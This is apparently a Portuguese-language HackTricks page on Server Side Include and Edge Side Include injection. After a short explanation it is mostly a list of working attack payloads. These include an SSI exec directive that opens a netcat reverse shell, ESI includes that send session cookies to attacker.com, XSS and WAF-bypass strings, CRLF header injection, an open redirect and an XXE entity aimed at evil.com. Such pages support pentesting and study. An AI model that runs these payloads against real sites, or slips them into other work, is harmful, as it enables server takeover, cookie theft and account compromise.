12 KiB
Injeção de Inclusão no Lado do Servidor/Inclusão no Lado da Borda
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Informações Básicas sobre Inclusão no Lado do Servidor
SSI (Server Side Includes) são diretivas que são colocadas em páginas HTML e avaliadas no servidor enquanto as páginas estão sendo fornecidas. Elas permitem adicionar conteúdo gerado dinamicamente a uma página HTML existente, sem a necessidade de fornecer a página inteira através de um programa CGI ou outra tecnologia dinâmica.
Por exemplo, você pode colocar uma diretiva em uma página HTML existente, como:
<!--#echo var="DATE_LOCAL" -->
E, quando a página é fornecida, este fragmento será avaliado e substituído pelo seu valor:
Terça-feira, 15-Jan-2013 19:28:54 EST
A decisão de quando usar SSI, e quando ter sua página inteiramente gerada por algum programa, geralmente é uma questão de quanto da página é estático e quanto precisa ser recalculado cada vez que a página é fornecida. SSI é uma ótima maneira de adicionar pequenas peças de informação, como a hora atual - mostrada acima. Mas se a maioria da sua página está sendo gerada no momento em que é fornecida, você precisa procurar outra solução. (Definição retirada de aqui).
Você pode inferir a presença de SSI se a aplicação web usa arquivos com as extensões ** .shtml
, .shtm
ou .stm
**, mas não é apenas o caso.
Uma expressão SSI típica tem o seguinte formato:
<!--#directive param="value" -->
Verificar
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Inclusão no Lado do Servidor (Edge Side Inclusion)
Há um problema ao armazenar informações ou aplicações dinâmicas em cache, pois parte do conteúdo pode ter variado para a próxima vez que o conteúdo for recuperado. É para isso que o ESI é utilizado, para indicar usando tags ESI o conteúdo dinâmico que precisa ser gerado antes de enviar a versão em cache.
Se um atacante conseguir injetar uma tag ESI dentro do conteúdo em cache, então, ele poderá injetar conteúdo arbitrário no documento antes de ser enviado aos usuários.
Detecção de ESI
O seguinte cabeçalho em uma resposta do servidor indica que o servidor está utilizando ESI:
Surrogate-Control: content="ESI/1.0"
Se você não encontrar esse cabeçalho, o servidor pode estar usando ESI mesmo assim.
Uma abordagem de exploração cega também pode ser utilizada, já que uma solicitação deve chegar ao servidor do atacante:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
Exploração de ESI
GoSecure criou uma tabela para nos ajudar a entender possíveis ataques que podemos tentar contra diferentes softwares capazes de ESI, dependendo da funcionalidade suportada. Vamos fornecer algumas explicações sobre os nomes das colunas da tabela abaixo primeiro:
- Includes: Suporta a diretiva
<esi:includes>
- Vars: Suporta a diretiva
<esi:vars>
. Útil para contornar Filtros de XSS - Cookie: Cookies do documento são acessíveis pelo motor de ESI
- Upstream Headers Required: Aplicações substitutas não processarão declarações de ESI a menos que a aplicação a montante forneça os cabeçalhos
- Host Allowlist: Neste caso, inclusões de ESI só são possíveis a partir de hosts de servidores permitidos, tornando SSRF, por exemplo, possível apenas contra esses hosts
Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Sim | Sim | Sim | Sim | Não |
Varnish Cache | Sim | Não | Não | Sim | Sim |
Fastly | Sim | Não | Não | Não | Sim |
Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
NodeJS esi | Sim | Sim | Sim | Não | Não |
NodeJS nodesi | Sim | Não | Não | Não | Opcional |
XSS
A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do servidor
<esi:include src=http://attacker.com/xss.html>
O arquivo http://attacker.com/xss.html pode conter um payload XSS como <script>alert(1)</script>
Bypass na proteção contra XSS do cliente
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Roubar Cookie
- Roubo remoto de cookie
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- Roubar cookie HTTP_ONLY com XSS refletindo-o na resposta:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
- Domínio completo da conta refletindo cookies
Arquivo Local Privado
Não confunda isso com uma "Inclusão de Arquivo Local":
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Redirecionamento Aberto
O seguinte adicionará um cabeçalho Location
à resposta
<!--esi $add_header('Location','http://attacker.com') -->
Adicionar Cabeçalho
- Adicionar cabeçalho em requisição forçada
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- Adicionar cabeçalho na resposta (útil para contornar "Content-Type: text/json" em uma resposta com XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
CRLF no Cabeçalho Add (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai debug
Isso enviará informações de depuração incluídas na resposta:
<esi:debug/>
ESI + XSLT = XXE
Também é possível adicionar inclusões ESI baseadas em ** _eXtensible Stylesheet Language Transformations (XSLT)_ ** especificando o valor xslt
para o parâmetro dca. A inclusão a seguir fará com que o substituto HTTP solicite o arquivo XML e XSLT. O arquivo XSLT é então usado para filtrar o arquivo XML. Este arquivo XML pode ser usado para realizar ataques XML External Entity (XXE). Isso permite que atacantes realizem ataques SSRF, o que não é muito útil, já que isso deve ser realizado por meio de inclusões ESI, que já é um vetor SSRF por si só. DTDs externos não são analisados, pois a biblioteca subjacente (Xalan) não tem suporte para isso. Isso significa que não podemos extrair arquivos locais.
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
O arquivo XSLT:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Verifique a página XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Referências
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
Lista de Detecção de Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github HackTricks e HackTricks Cloud.